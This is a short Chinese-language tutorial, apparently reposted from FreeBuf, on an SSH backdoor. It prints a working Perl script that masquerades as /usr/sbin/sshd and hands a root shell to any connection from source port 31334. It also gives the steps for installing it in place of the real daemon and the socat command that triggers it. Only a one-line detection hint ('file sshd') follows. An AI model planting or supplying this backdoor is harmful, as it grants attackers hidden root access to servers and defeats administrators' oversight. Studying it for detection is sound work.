1、原理解释

这个ssh 后门伪装成一个perl脚本,名为sshd,位于/usr/sbin/sshd , 将系统原先的sshd 移到/usr/bin下  


sshd后门源码:

#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);

exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;


第一行, 如果当前文件句柄STDIN是一个socket,且socket的远程连接源端口是31334(Big 网络字节序中的16进制字符串为\x00\x00zf, 正好匹配上perl正则 ..zf,上述代码中的zf是Big 网络字节序的Ascii表示形式),则执行/bin/sh,并结束当前程序运行(不会执行第二步),相当于反弹一个root shell (因为sshd 是以root权限运行的)给远程socket  (一般只有攻击者指定连接的源端口才能触发这一行的执行)

第二行  启动sshd (/usr/bin/sshd是真正的sshd)服务 ,凡是传递给/usr/sbin/sshd (后门)的参数都传递给真正的sshd (这一行保证了普通用户也可以正常使用ssh 服务,登录并不会有什么异常现象)

2、后门利用

被控端

-------------------

将真正的sshd 移至/usr/bin/sshd: mv /usr/sbin/sshd /usr/bin/sshd
将后门sshd (perl脚本移动至/usr/sbin/sshd),并授予执行权限:    chmod +x /usr/sbin/sshd 
重启 ssh 服务:/etc/inid.t/ssh restart
查看当前ssh连接情况:netstat -antlp

控制端

-------------------------

socat STDIO TCP4:10.1.100.3:22,sourceport=31334

3、后门检测

file sshd

源码文件为可疑文件

elf格式,正常文件


原文地址:

http://www.freebuf.com/articles/system/140880.html